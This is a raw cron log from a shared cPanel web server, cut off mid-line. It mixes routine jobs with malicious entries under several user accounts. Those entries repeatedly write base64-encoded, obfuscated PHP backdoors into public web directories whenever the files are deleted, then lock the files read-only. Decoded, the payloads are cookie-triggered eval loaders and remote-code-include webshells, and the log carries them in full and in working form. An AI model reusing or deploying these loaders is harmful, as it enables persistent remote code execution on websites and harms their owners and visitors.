Mar  2 10:12:02 medusa CROND[4303]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:12:02 medusa CROND[4304]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:12:02 medusa CROND[4305]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:12:02 medusa CROND[4306]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:13:01 medusa CROND[23827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:13:01 medusa CROND[23830]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:13:01 medusa CROND[23831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:13:01 medusa CROND[23833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:13:01 medusa CROND[23834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:13:01 medusa CROND[23835]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 10:13:01 medusa CROND[23838]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:13:01 medusa CROND[23841]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:13:01 medusa CROND[23832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:13:01 medusa CROND[23843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:13:01 medusa CROND[23844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:13:01 medusa CROND[23845]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:13:01 medusa CROND[23846]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:13:01 medusa CROND[23858]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:14:01 medusa CROND[10951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:14:01 medusa CROND[11124]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:14:01 medusa CROND[11126]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:14:01 medusa CROND[11127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:14:01 medusa CROND[11129]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:14:01 medusa CROND[11130]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:14:01 medusa CROND[11125]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:14:01 medusa CROND[11131]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:14:01 medusa CROND[11132]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:14:01 medusa CROND[11138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:14:01 medusa CROND[11139]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:14:01 medusa CROND[11143]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:14:01 medusa CROND[11144]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmI